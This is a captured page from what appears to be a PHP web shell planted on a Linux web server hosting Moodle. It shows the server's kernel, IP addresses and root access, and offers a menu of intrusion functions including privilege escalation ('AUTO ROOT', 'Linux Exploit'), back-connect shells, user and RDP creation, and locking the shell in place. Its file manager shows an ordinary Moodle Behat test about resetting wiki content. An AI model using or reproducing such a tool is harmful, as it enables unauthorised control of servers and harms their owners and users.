Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
wiki /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
collaborative_individual.featu...
3.24
KB
-rwxrwxrwx
edit_tags.feature
3.11
KB
-rwxrwxrwx
page_history.feature
2.68
KB
-rwxrwxrwx
preview_page.feature
1.75
KB
-rwxrwxrwx
reset_wiki_comments_tags_files...
3.62
KB
-rwxrwxrwx
wiki_comments.feature
2.71
KB
-rwxrwxrwx
wiki_formats.feature
3.12
KB
-rwxrwxrwx
wiki_search.feature
6.69
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : reset_wiki_comments_tags_files.feature
@mod @mod_wiki @javascript @_file_upload Feature: Teachers can reset wiki pages, tags and files In order to remove wiki pages, tags and files As a teacher I need to be able to reset the pages, tags and files on the course level Background: Create a wiki, add a page, tag and file, and reset them Given the following "users" exist: | username | firstname | lastname | email | | teacher1 | Teacher | 1 | teacher1@example.com | And the following "courses" exist: | fullname | shortname | category | | Course 1 | C1 | 0 | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | And the following "activity" exists: | activity | wiki | | course | C1 | | name | Test wiki name | | wikimode | collaborative | And I am on the "Test wiki name" "wiki activity" page logged in as teacher1 And I press "Create page" And I set the following fields to these values: | HTML format | Test wiki content | | Tags | Test tag 1, Test tag 2, | And I press "Save" And I should see "Test tag 1" in the ".wiki-tags" "css_element" And I should see "Test tag 2" in the ".wiki-tags" "css_element" And I follow "Comments" And I follow "Add comment" And I set the following fields to these values: | Comment | Test comment | And I press "Save changes" And I should see "Test comment" And I follow "Files" And I press "Edit wiki files" And I upload "lib/tests/fixtures/empty.txt" file to "Files" filemanager And I press "Save changes" And I should see "empty.txt" And I am on "Course 1" course homepage And I navigate to "Reset" in current page administration Scenario: Reset page, tags and files Given I set the following fields to these values: | Delete all wiki pages | 1 | | Remove all wiki tags | 1 | | reset_wiki_comments | 1 | And I press "Reset course" And I should see "Delete all wiki pages" And I should see "Wiki tags have been deleted" And I should see "Delete all comments" And I press "Continue" And I am on the "Test wiki name" "wiki activity" page And I press "Create page" When I follow "View" Then I should not see "Test tag 1" And I should not see "Test tag 2" And I follow "Comments" And I should not see "Test comment" And I follow "Files" And I should not see "empty.txt" Scenario: Reset only tags Given I set the following fields to these values: | Remove all wiki tags | 1 | When I press "Reset course" And I should not see "Delete all wiki pages" And I should see "Wiki tags have been deleted" And I should not see "Delete all comments" And I press "Continue" And I am on the "Test wiki name" "wiki activity" page Then I should not see "Test tag 1" And I should not see "Test tag 2" And I follow "Comments" And I should see "Test comment" And I follow "Files" And I should see "empty.txt" Scenario: Reset only comments Given I set the following fields to these values: | reset_wiki_comments | 1 | When I press "Reset course" And I should not see "Delete all wiki pages" And I should not see "Wiki tags have been deleted" And I should see "Delete all comments" And I press "Continue" And I am on the "Test wiki name" "wiki activity" page Then I should see "Test tag 1" And I should see "Test tag 2" And I follow "Comments" And I should not see "Test comment" And I follow "Files" And I should see "empty.txt"
Close